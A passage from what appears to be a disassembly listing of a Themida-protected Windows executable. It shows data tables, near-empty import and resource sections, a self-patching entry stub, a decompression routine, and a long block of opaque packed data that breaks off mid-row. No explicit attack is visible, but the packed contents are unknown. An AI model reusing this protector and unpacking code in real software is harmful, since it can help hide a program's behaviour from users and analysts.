sub_42495A+5Dr word_4D99EA dw 0 ; DATA XREF: sub_42495A+55r word_4D99EC dw 0 ; DATA XREF: sub_42495A+4Dr word_4D99EE dw 0 ; DATA XREF: sub_42495A+3Er dword_4D99F0 dd 0 ; DATA XREF: sub_4246FC+80r dword_4D99F4 dd 0 ; DATA XREF: sub_4246FC+132r ; sub_4246FC:loc_424848r ... dword_4D99F8 dd 0 ; DATA XREF: sub_4246E7r sub_4246E7+Ew dword_4D99FC dd 0 ; DATA XREF: sub_424C88+3r ; sub_424C88+2Ew ... dword_4D9A00 dd 0 ; DATA XREF: sub_424C88+43w ; sub_424C88:loc_424CD7r dword_4D9A04 dd 0 ; DATA XREF: sub_424C88+4Aw ; sub_424C88+60r dword_4D9A08 dd 0 ; DATA XREF: sub_42393B+3Fr dword_4D9A0C dd 0 ; DATA XREF: sub_425831:loc_425898r ; sub_425831+6Do dword_4D9A10 dd 0 ; DATA XREF: sub_425831:loc_42586Fr ; sub_425831+44o dword_4D9A14 dd 0 ; DATA XREF: sub_425831:loc_425862r ; sub_425831+37o dword_4D9A18 dd 0 ; DATA XREF: sub_425831:loc_42587Cr ; sub_425831+51o align 10h dword_4D9A20 dd 0 ; DATA XREF: sub_425DDF+28r ; sub_425DDF+48w ... dword_4D9A24 dd 0 ; DATA XREF: sub_4268F1+28r ; sub_4268F1+4Cw ... dword_4D9A28 dd 0 ; DATA XREF: sub_426B7C+26r ; sub_426B7C:loc_426BE6w byte_4D9A2C db 0 ; DATA XREF: sub_40DB2Dr sub_40DB2D+9w align 10h dword_4D9A30 dd 2434968h ; DATA XREF: sub_41E390:loc_41E3A1r ; sub_41F3D2+14r ... align 10h dword_4D9A40 dd 400h dup(0) ; DATA XREF: ___:off_43AD78o ; ___:0043AD80o dword_4DAA40 dd 200h ; DATA XREF: sub_41E390+9r ; sub_41E390+56r ... dd 7 dup(0) dword_4DAA60 dd 28C0EF0h ; DATA XREF: sub_41EF78+75r ; sub_41F051+2Ar ... dword_4DAA64 dd 3Fh dup(0) ; DATA XREF: ___:0042329Co dword_4DAB60 dd 20h ; DATA XREF: sub_41E212+8r ; sub_41F051+Cr ... dword_4DAB64 dd 4E4h ; DATA XREF: sub_41FDDE+14r ; sub_41FDDE+65w ... align 10h dword_4DAB70 dd 3 dup(0) ; DATA XREF: sub_41FDDE+123o ; sub_41FDDE+171o ... dword_4DAB7C dd 0 ; DATA XREF: sub_41FDDE+108w ; sub_41FDDE+15Dw ... byte_4DAB80 db 0 ; DATA XREF: sub_42001D:loc_420129w ; sub_42001D:loc_420146w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DAC80 db 0 ; DATA XREF: sub_41FDDE+5Co ; sub_41FDDE+AFo ... byte_4DAC81 db 0 ; DATA XREF: sub_41C151+5Dr ; sub_41FDDE+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DAD84 dd 0 ; DATA XREF: sub_41FDDE+6Ew ; sub_41FDDE+12Bw ... dword_4DAD88 dd 10h ; DATA XREF: sub_41EAD6+5r ; sub_41EAD6+32w dword_4DAD8C dd 0 ; DATA XREF: sub_41E4A2+239r ; sub_41E4A2+259r ... dword_4DAD90 dd 2430650h ; DATA XREF: sub_41E4A2+310w ; sub_41E7CD:loc_41E81Dr ... dword_4DAD94 dd 0 ; DATA XREF: sub_41E4A2+22Cr ; sub_41E4A2+25Fr ... dword_4DAD98 dd 1 ; DATA XREF: sub_41E477r ; sub_41E4A2+2CAr ... dword_4DAD9C dd 2430650h ; DATA XREF: sub_41E477+8r ; sub_41E4A2+2CFr ... dword_4DADA0 dd 2430000h ; DATA XREF: sub_41BA31+21r ; sub_41BB48+A9r ... dword_4DADA4 dd 142340h ; DATA XREF: ___:00422D89r ; ___:00422EB4r dword_4DADA8 dd 1 ; DATA XREF: ___:00422E7Fw sub_4259A3r dword_4DADAC dd 1 ; DATA XREF: sub_4201A2r ; sub_4201A2+11w ... dword_4DADB0 dd 28C0E60h ; DATA XREF: sub_41BF53+3Er ; sub_41D743+13r ... dword_4DADB4 dd 28C0E60h ; DATA XREF: sub_41BF53+35r ; sub_41BF53+57r ... dd 92h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DC000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DC000h dd 400h dup(0) _rsrc___ ends ; Section 3. (virtual address 000DD000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DD000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4DD000h a7icwCw db '7¨çwµ\çw',0 align 4 dd 77345219h, 4 dup(0) dd 0DD050h, 0DD000h, 3 dup(0) dd 0DD079h, 0DD00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000DE000) ; Virtual size : 000DC000 ( 901120.) ; Section size in file : 000DC000 ( 901120.) ; Offset to raw data for section: 000DE000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 4DE000h dd 8F35CD4Eh, 498A4h, 5400Ah, 93172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004DE265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005394BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053C836 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053CAAC SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_4DE086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4DE041 popa jmp short loc_4DE076 ; --------------------------------------------------------------------------- a7rm db 'Û-7àM',0 db 0FFh dd 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_4DE041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4DE04E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4DE06D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4DE074 loc_4DE06D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4DE04E ; --------------------------------------------------------------------------- loc_4DE074: ; CODE XREF: start+57j mov edi, eax loc_4DE076: ; CODE XREF: start+1Bj jmp loc_4DE265 ; --------------------------------------------------------------------------- db 3 aJt db 'ǹjâ',0Dh,0 dw 0CF03h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4DE086: ; CODE XREF: start+8j mov eax, offset loc_5394BD mov ecx, offset word_4DE26A push eax push ecx call sub_4DE11B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4DE265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4DE11B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4DE127: ; CODE XREF: sub_4DE11B:loc_4DE13Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4DE132: ; CODE XREF: sub_4DE11B+7Aj ; sub_4DE11B+C3j ... add dl, dl jnz short loc_4DE13B mov dl, [esi] inc esi adc dl, dl loc_4DE13B: ; CODE XREF: sub_4DE11B+19j jnb short loc_4DE127 add dl, dl jnz short loc_4DE146 mov dl, [esi] inc esi adc dl, dl loc_4DE146: ; CODE XREF: sub_4DE11B+24j jnb short loc_4DE197 xor eax, eax add dl, dl jnz short loc_4DE153 mov dl, [esi] inc esi adc dl, dl loc_4DE153: ; CODE XREF: sub_4DE11B+31j jnb loc_4DE238 add dl, dl jnz short loc_4DE162 mov dl, [esi] inc esi adc dl, dl loc_4DE162: ; CODE XREF: sub_4DE11B+40j adc eax, eax add dl, dl jnz short loc_4DE16D mov dl, [esi] inc esi adc dl, dl loc_4DE16D: ; CODE XREF: sub_4DE11B+4Bj adc eax, eax add dl, dl jnz short loc_4DE178 mov dl, [esi] inc esi adc dl, dl loc_4DE178: ; CODE XREF: sub_4DE11B+56j adc eax, eax add dl, dl jnz short loc_4DE183 mov dl, [esi] inc esi adc dl, dl loc_4DE183: ; CODE XREF: sub_4DE11B+61j adc eax, eax jz short loc_4DE18D push edi sub edi, eax mov al, [edi] pop edi loc_4DE18D: ; CODE XREF: sub_4DE11B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE197: ; CODE XREF: sub_4DE11B:loc_4DE146j mov eax, 1 loc_4DE19C: ; CODE XREF: sub_4DE11B:loc_4DE1B0j add dl, dl jnz short loc_4DE1A5 mov dl, [esi] inc esi adc dl, dl loc_4DE1A5: ; CODE XREF: sub_4DE11B+83j adc eax, eax add dl, dl jnz short loc_4DE1B0 mov dl, [esi] inc esi adc dl, dl loc_4DE1B0: ; CODE XREF: sub_4DE11B+8Ej jb short loc_4DE19C sub eax, ebx mov ebx, 1 jnz short loc_4DE1E3 mov ecx, 1 loc_4DE1C0: ; CODE XREF: sub_4DE11B:loc_4DE1D4j add dl, dl jnz short loc_4DE1C9 mov dl, [esi] inc esi adc dl, dl loc_4DE1C9: ; CODE XREF: sub_4DE11B+A7j adc ecx, ecx add dl, dl jnz short loc_4DE1D4 mov dl, [esi] inc esi adc dl, dl loc_4DE1D4: ; CODE XREF: sub_4DE11B+B2j jb short loc_4DE1C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE1E3: ; CODE XREF: sub_4DE11B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4DE1F1: ; CODE XREF: sub_4DE11B:loc_4DE205j add dl, dl jnz short loc_4DE1FA mov dl, [esi] inc esi adc dl, dl loc_4DE1FA: ; CODE XREF: sub_4DE11B+D8j adc ecx, ecx add dl, dl jnz short loc_4DE205 mov dl, [esi] inc esi adc dl, dl loc_4DE205: ; CODE XREF: sub_4DE11B+E3j jb short loc_4DE1F1 cmp eax, 7D00h jnb short loc_4DE228 cmp eax, 500h jb short loc_4DE223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE223: ; CODE XREF: sub_4DE11B+F8j cmp eax, 7Fh ja short loc_4DE22B loc_4DE228: ; CODE XREF: sub_4DE11B+F1j add ecx, 2 loc_4DE22B: ; CODE XREF: sub_4DE11B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE238: ; CODE XREF: sub_4DE11B:loc_4DE153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4DE259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4DE132 ; --------------------------------------------------------------------------- loc_4DE259: ; CODE XREF: sub_4DE11B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4DE11B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4DE265: ; CODE XREF: start:loc_4DE076j ; start+9Dj jmp loc_5394BD ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4DE26A dw 38E9h ; DATA XREF: start+77o dd 1523374h, 6854C0EFh, 38696D65h, 0FE436164h, 460138FAh dd 0C203A8F1h, 92447537h, 0FED5235Ch, 0F02C2445h, 11BE9AAh dd 848B21ECh, 3007AF2Fh, 8312D34h, 0C235455Eh, 52F87D17h dd 74730E65h, 41677261h, 0A72E1770h, 0FB10CE78h, 1101CEBAh dd 8E22B8EEh, 0BCFA0FE1h, 6B848B98h, 112E11F2h, 2E5EFFFAh dd 3635AF00h, 0AAF47F03h, 88EF0143h, 7F847B33h, 1001CEABh dd 7122FEEAh, 0F1BA0BE1h, 0D4C8C58Bh, 88E87060h, 0ED00815Dh dd 6483383h, 61099589h, 0C5B50D27h, 0B9851030h, 0BD838015h dd 0E013D120h, 8B0C1C74h, 0B8E289E8h, 0EFC21949h, 2444701Ch dd 1C4D3E71h, 0E8456A00h, 6829A360h, 7A83749Ah, 0ADF5007h dd 894B1E25h, 0AD5910Ah, 0EC0214E9h, 8B55D057h, 0C483EC0Ah dd 5AC0EED8h, 4071EA81h, 0DA098B34h, 1BD845C7h, 400E1808h dd 7D810889h, 1DC680FCh, 7F200F74h, 0DB832408h, 12FF9810h dd 0E163EB43h, 7461DC36h, 0C2C91426h, 81064604h, 2FF7CC4h dd 0BA44498Eh, 8045018Dh, 0C7085D8Bh, 4A194485h, 0A8D50h dd 1888C3D1h, 0BA88941h, 6A2BD81h, 0E3755D02h, 8D282794h dd 75EC64BAh, 0E8A8004h, 5B90F4BBh, 0F37ABB8h, 0D0D37854h dd 4B080FCCh, 5F7753Bh, 4647C3AFh, 46624A24h, 0D142A2F9h dd 78ABA61h, 0D85FF0D0h, 0A0FC45EEh, 0A304EB4Dh, 8046C8ADh dd 0F740C53Eh, 348436BAh, 0C197DE6h, 0F83E7FEBh, 12C86D0Ch dd 0F40E4CF0h, 0C14A10A8h, 4F06514h, 0D1F803D6h, 96C203E0h dd 0DB330128h, 80301C8Ah, 0A72CCFBh, 77390AC3h, 0EFEBD305h dd 7F142226h, 0A0D6761h, 1E08F666h, 0AC3F4F5h, 1AC310EAh dd 0D0B7241h, 677460Ah, 121EA24h, 0EC87F05Dh, 317D83F4h dd 0B3B07202h, 7676C00Ch, 26AA64A5h, 76E01CF8h, 3BA8A08Dh dd 0FFC0A55h, 9CBD7882h, 38AA1BB0h, 8BA0EE5h, 700AB90Eh dd 10BD9CFCh, 0FFE0036h, 0FA754947h, 772271B9h, 1BB016Ah dd 82F10EE1h, 276DBEBh, 0F4868E00h, 51074937h, 1D44DB65h dd 268A72FFh, 1E90785h, 0B8105905h, 8009E5D9h, 0F5F05F13h dd 18C7F20Ah, 2261D346h, 0F900C0DBh, 623E05BDh, 1E4825Ch dd 4CE46BAh, 800CEA54h, 0CF02CD3Fh, 1D78371Bh, 83606D5Bh dd 0C32C5C2Eh, 0E2F18030h, 70CB8CF6h, 82670134h, 765B4E39h dd 516A830Fh, 0E3D1043Dh, 0E46B33Bh, 2E097556h, 480E11ACh dd 65E4EC05h, 64000690h, 8E05C584h, 38072896h, 85534781h dd 2940C204h, 8205718Ch, 0A20EDBE7h, 2B0CFFB3h, 22047781h dd 0C134011Dh, 7533F984h, 3FBC9020h, 670A7677h, 330230EFh dd 8C89EC41h, 0FFCC9F7Fh, 45CF4090h, 5060E9EAh, 5200C462h dd 11254D8Ch, 84B1AA82h, 845AABCDh, 0A6561308h, 825E0AE7h dd 0A88112EEh, 8AD04408h, 13A2B9FAh, 28972305h, 0CC1E8143h dd 5CF26B13h, 5E212104h, 6D8AC8C4h, 45972550h, 211C08CCh dd 0C4560046h, 6143220Dh, 8203108Ch, 8D67FDFAh, 1039BFDAh dd 0C007EA12h, 0B0BEBD0Bh, 130CC585h, 7605E281h, 5A398C52h dd 4D8A11C4h, 42891D88h, 6DD8052h, 9011EEh, 0CADC126Eh dd 0DF4DBC67h, 10140B76h, 83E71A86h, 0C9C898CCh, 8D4331E6h dd 0FA1B0C02h, 820D33EAh, 148CC43Ch, 9F167C2Dh, 0C45385E2h dd 22CB6018h, 81340011h, 868A0BF8h, 58CC0FD6h, 41AA0EFAh dd 801E612Ah, 43A86139h, 88B037h, 1ECB3C68h, 8BC54E0h dd 0C9A43600h, 0E7B9485Bh, 5A8D0C64h, 7FBCF95Ch, 0D9C97260h dd 281BBFA1h, 185F6927h, 0B4E9C067h, 0C03358Ch, 66F8DB82h dd 0F760D79Ah, 0C63D427h, 38A104Ch, 0E3608B35h, 0F26C811Ch dd 0C38C3339h, 1EA07C10h, 0A60EA3Ah, 0BF158E2Bh, 37FC03EEh dd 8A7D4BB7h, 9BC0660Fh, 674F0033h, 0F23A0B9h, 5203EA84h dd 59D18C01h, 8CBC74Ah, 0D6F74900h, 8D3398CBh, 3826906Bh dd 0A1709015h, 1664A0E8h, 69DB00C0h, 0A2357B8Dh, 0DE0E4B8Ah dd 9E4D1076h, 494C8F80h, 66038444h, 18B310DCh, 0D6A4EF18h dd 944B10h, 0E7F99160h, 5DD39B2Eh, 98953Bh, 2BF01EDEh dd 70C7C26h, 8933F248h, 684B062h, 5300FA1Fh, 0D057B4EFh dd 0B0966E54h, 59C43809h, 1B709F30h, 79C7CF82h, 4C03554Bh dd 6280060h, 0C75225F8h, 9430BD4Dh, 0E87BB883h, 3A8C7DD6h dd 3A39F15Bh, 0E714E283h, 0D1047731h, 83B851C4h, 6FFB7A00h dd 23076FAh, 5B46214Eh, 70DE7Ch, 0D3E8E984h, 61C189FBh dd 7069C808h, 3FDF7881h, 0C1D36FABh, 0D021B088h, 59A55Dh dd 0F07948FDh, 8193BE1Bh, 0CE3021C0h, 3D2E25h, 0B01E7131h dd 75B2E4C2h, 6F36D218h, 0EEA179h, 0CD581565h, 0BE72FF3Fh dd 42EFB100h, 0C640E779h, 68C80095h, 0CEF5D722h, 630705A6h dd 6F8BF4BDh, 4A58F091h, 0F80B9453h, 0CF59681Bh, 0AA8172E1h dd 0F899C78Eh, 1903EF45h, 0B2406AB1h, 33B1AF7Bh, 0CEC114F4h dd 12CD843h, 0F2BE63E9h, 83FD9834h, 1C0EC118h, 0D030A582h dd 885AD4F0h, 1B74C60Bh, 50ADD03Fh, 0F8155798h, 0AF47C90h dd 0ACFAD30Bh, 81E0C041h, 9AF2C317h, 0D65C1944h, 1298C800h dd 0CE5B4701h, 4871C6Bh, 0BD82BE1Dh, 0F4144D71h, 98E697E1h dd 3CB0B3A0h, 1ED4148h, 8FF0FCh, 1A44D71Ch, 10970469h dd 8D469D61h, 0D1D8A469h, 0A082F0h, 6B7A7714h, 6434EFEh dd 8A83B50h, 7485D81Bh, 18F818B0h, 1CCAD94Bh, 0C4EF6703h dd 5A12469h, 0C03CF460h, 0FA822C7h, 68841C42h, 0F80441C8h dd 51BB611Dh, 316E0810h, 8B784824h, 24CB7A01h, 47420B58h dd 7C7D5C11h, 0F09C0A55h, 0D01455E2h, 103047C0h, 0BE024905h dd 0D8BC1454h, 74698CA7h, 7C244087h, 80889C49h, 0C0B8E91Bh dd 0D66CA480h, 6F010893h, 6254F0DDh, 0F8906082h, 8E016E4Dh dd 89808C94h, 0CD83F3ABh, 0DA0CC4C0h, 0A144685Fh, 2B9D00C6h dd 0A42F8AF5h, 7748802Ah, 1DFE01F8h, 0D9A0347Ch, 203C71AAh dd 2D01CE28h, 0C3F6A45Dh, 0CCF1F8BDh, 71B7998Ah, 54D1180h dd 0BDD84164h, 40F69C32h, 80DB686Ch, 6C5435E2h, 7700249Ch dd 73696FE0h, 2EF816h, 12A0D164h, 678043FCh, 1449E4EFh dd 86509662h, 9344404h, 0B7DB61CAh, 5BFC90A1h, 5790431Bh dd 514B890Eh, 94758AD0h, 8CAD7200h, 980F8ED8h, 0C21A0180h dd 0B40CF103h, 0CF508FD3h, 718BC11Eh, 0E6010DBh, 21BB1CF0h dd 0A6258040h, 0BE8790B2h, 0F2958400h, 4A1E7A60h, 0F0E70156h dd 588805BCh, 6C9DD091h, 9CE97300h, 93601D37h, 517478AFh dd 0CCF0BC80h, 0DB34002Fh, 661014B5h, 4A07167Ah, 0B0A9065Eh dd 0AC2B9971h, 1D89DCh, 572D9FBBh, 0E72D5BCh, 15820F01h dd 0B68BBD5Fh, 941ED833h, 862300E2h, 0C6144D1h, 8809349h dd 15C4A404h, 7B7C18C2h, 18D16034h, 8E873E9Ch, 735DD012h dd 78352405h, 82BED040h, 0D901C8h, 1D429392h, 9FD58C6Ah dd 87783148h, 81A649C4h, 4CED4C58h, 0C090CC22h, 1D9F8344h dd 80B97A14h, 39683747h, 0CD048DAEh, 1C8519D6h, 8035F8C1h dd 0F867980h, 503FB651h, 0FCE0AB24h, 7F691038h, 30C6BC03h dd 0B952BD2Eh, 94BE13E0h, 20C8F820h, 0F57940h, 0D83E0E32h dd 3126EE1Ch, 0A657CD3Fh, 0F0870044h, 0FC02F5DDh, 0B3FC485Fh dd 0B4374857h, 91713518h, 7049A62h, 7C316B6Ch, 4ACCDA81h dd 26AB5FE8h, 40045346h, 0D4040C4Ch, 55C0ACA0h, 2C904892h dd 0EF805AE2h, 0E867162Dh, 24B804B2h, 191C018Ah, 1110CEA4h dd 6BF08481h, 0F9058670h dd 1D4416DAh, 4FB9A980h, 9B943072h, 8BBE8DE9h, 0B00ACECh dd 0D7FE5D05h, 1A8D0EFh, 4A719710h, 0E91669ECh, 611CF7A3h dd 0FE83B9C0h, 88C1C50Bh, 4749C7h, 0C6E9662Dh, 80F05714h dd 79904454h, 0C01B1502h, 494CB5D8h, 12106B10h, 0F9008803h dd 25AF34A2h, 75D7613Dh, 292D0762h, 39711C8Ch, 4108B88Eh dd 203CE024h, 0AB0E0651h, 9931CA82h, 0B6800C91h, 86C9D6F1h dd 0E31E082h, 7D3EAEBBh, 60D81301h, 0A806612h, 0E86CD0EDh dd 85055F97h, 90434EFAh, 1DDCB82h, 5FAB2929h, 84CF6046h dd 4D077669h, 41F4648Ch, 0DB140284h, 0D0901B20h, 18E49A81h dd 619FFFD3h, 41C04268h, 0FD021B3Fh, 547546h, 9A86E0AAh dd 0F46964F0h, 8558BF60h, 24554648h, 0FD87206h, 41380E76h dd 0E818FF2Bh, 35C8648Ch, 6A1E01EFh, 0BF5F2CE3h, 1023AFh dd 0F91437CAh, 2402E6h, 0BE09AB95h, 0FA4C607Ah, 0C855A606h dd 4C485090h, 8735784Ah, 0E0A480C9h, 55805A85h, 0F4B854E8h dd 894C6037h, 0AD9C5964h, 4F8B0C1h, 6820B0CDh, 0F0F71A2Bh dd 3C60A1C4h, 0BD805461h, 0AC723184h, 15F9450h, 0BC4CC282h dd 0B1B499BDh, 62681C10h, 5DCF00FCh, 5C395F1Bh, 0ACB70083h dd 0A849B4F5h, 4D0BC54Fh, 674DE43h, 440EF91h, 68298EDDh dd 6D9405Ah, 75A5FCE4h, 2FD5008Dh, 0A86E9C30h, 3AB09514h dd 82104A02h, 0E4FCD37Ch, 0A420A37Ch, 0DF238840h, 7754362Bh dd 5F005394h, 143EDA81h, 0A7A3942h, 93DC7471h, 0BC1D0020h dd 9569BEE5h, 0EC268824h, 6825701h, 0E820BD8Ch, 24E8F02Bh dd 847C437Ch, 0B6531D0h, 604C82BDh, 4020B9Eh, 6098480h dd 261907D8h, 672C5A46h, 4DA051Ch, 186EC18h, 0E35C3CF8h dd 0BC516400h, 0C19B060h, 0B822A480h, 77592154h, 0D4300516h dd 80A7F861h, 0D9C08494h, 0C4E02CECh, 85B500AEh, 7C1B1471h dd 0B62C6D41h, 2408E40Eh, 81513C8h, 0A89E446Ch, 0E06B32FDh dd 3C50661Fh, 4187E343h, 0D012B2BEh, 0C5F435F3h, 3DA04A03h dd 87F0EFA7h, 0C90206B7h, 7E30693Bh, 0C3DD5610h, 0C93A602h dd 9AF22228h, 0E8A04090h, 4F5280A0h, 10402B48h, 0F0014D6Ch dd 0CF405C2h, 3013C3D0h, 342266A4h, 1D312074h, 0A307D977h dd 0BDC63A6Dh, 0F9D3A31Eh, 7CC13B90h, 3C48E031h, 21BF12CFh dd 844D4922h, 6534F078h, 0E9873100h, 2C00C352h, 409401D9h dd 0EA1CF458h, 41B9C2F6h, 0F10288A0h, 12186243h, 0EC0C86F4h dd 169A0029h, 0D609BC87h, 489817ACh, 71141489h, 0B5288267h dd 5A681B18h, 3D3E5CA4h, 0C1C33A1Dh, 39C80841h, 723C2577h dd 0ED580010h, 417D6FFDh, 0C761710h, 722000DDh, 55FCBC2Bh dd 0B8D00933h, 2C01ECE4h, 23067697h, 24490820h, 813D12AAh dd 19274BCh, 0E0DB7FFCh, 62CC8C0h, 0D082A2D7h, 0B6396094h dd 0CC4C7825h, 0F0F581E0h, 10066154h, 92FBD318h, 60A4EFA9h dd 8E9929D0h, 4A00E7FFh, 3155C954h, 1D6ABB22h, 40A16397h dd 0F8086C73h, 0F1D2595Dh, 0B0C8AC20h, 0C0908179h, 10A8528Dh dd 61CFD2A4h, 7DA660EBh, 45B263Ch, 0AD2C6740h, 0C918D1F7h dd 42A016D6h, 512C1C8Dh, 6073350Dh, 0DD030833h, 0DCA705B4h dd 78C81CD0h, 45F1626h, 0B5E8908h, 9092F3D3h, 0FDE28833h dd 40CD864h, 3145FCD0h, 119F42F6h, 9C58D8CAh, 553E3CC0h dd 68C4462Eh, 360B7B9Dh, 0F860D810h, 17CE3F00h, 0A2D35044h dd 2FA00D2h, 46A736E1h, 70006DFCh, 16E4D52Dh, 61FEBE5Dh dd 18F67114h, 64C40C3h, 62402DE0h, 0B74F0023h, 822508C1h dd 0FC0005FEh, 0B00E3879h, 682D9Eh, 2CCC2395h, 94AA690Dh dd 1C70FC03h, 0E0855F0Eh, 4CEE334h, 44CFBD5h, 1D6C9038h dd 201BB69h, 14F2DB4Fh, 1880CBF8h, 0B0C1BC19h, 0FA04870Eh dd 93964A67h, 0F260C8h, 64B8BA02h, 3C1DD843h, 0B264500h dd 8051C4CAh, 450908Dh, 0FEB31024h, 0D34883DEh, 0A0501582h dd 1E0880Ch, 0F656D875h, 4F311427h, 92E10410h, 0BB940040h dd 5FCA0020h, 0D486F83Bh, 60C373Ch, 19D8F39Ah, 9B1F0C4Fh dd 0FB405073h, 1772CC00h, 3FD64979h, 7859C03Ch, 70CB30D4h dd 7BC5F60Eh, 0A009803Dh, 60C6B7Ch, 569C324Fh, 9D763816h dd 0C83E07FEh, 82BF1F1Dh, 1010938Dh, 98FB300Dh, 0EAC4EE88h dd 0BC2C011Bh, 26CA5C3Fh, 831FD9CBh, 0E186F4A0h, 62B87C78h dd 8048C8F0h, 573CB100h, 177CA105h, 92E0088Dh, 0F8840399h dd 8327B10Eh, 3C89589Ch, 380A605Bh, 0A11A6990h, 0B1A03F02h dd 8F964240h, 2CBB2330h, 0F68802C9h, 4231F051h, 5EFCB4A1h dd 83C88A1Ch, 614208DAh, 0B4C0A88Eh, 0A83F9C50h, 183AFEA8h dd 919BE483h, 8618CEC6h, 1B787FBCh, 8C8E0C92h, 312187E4h dd 28857218h, 2AA0DAE9h, 0C18BECEh, 68E6E4A6h, 0A2038B80h dd 9C204234h, 19711B5Ah, 90C3B94Bh, 833F0807h, 9FCE5D5Bh dd 2C0BA800h, 14D5691Bh, 844D2609h, 480D4422h, 412758FEh dd 89BC1D21h, 5708B1B1h, 7C41BAA6h, 0D8598165h, 5D05A852h dd 0A45024ABh, 0E208C65Ch, 5461F099h, 0E4790F5h, 7B25DBA6h dd 7F80C38Eh, 91899D35h, 88093A01h, 0B867A1Eh, 0C90A9181h dd 8006CC21h, 7B0D8211h, 33175A7Dh, 4D61ADBEh, 4CBC1011h dd 5D81F53Fh, 9A20BD2Fh, 4ED18586h, 28680B8Fh, 0C3094715h dd 113EE71Ch, 3B9C58h, 9C679A7h, 74507EEFh, 1CE8A11Ah dd 0FB2A9111h, 5A2DC9D9h, 0F10C7D40h, 391D8C72h, 4746004Eh dd 0F7921E83h, 0F6305E08h, 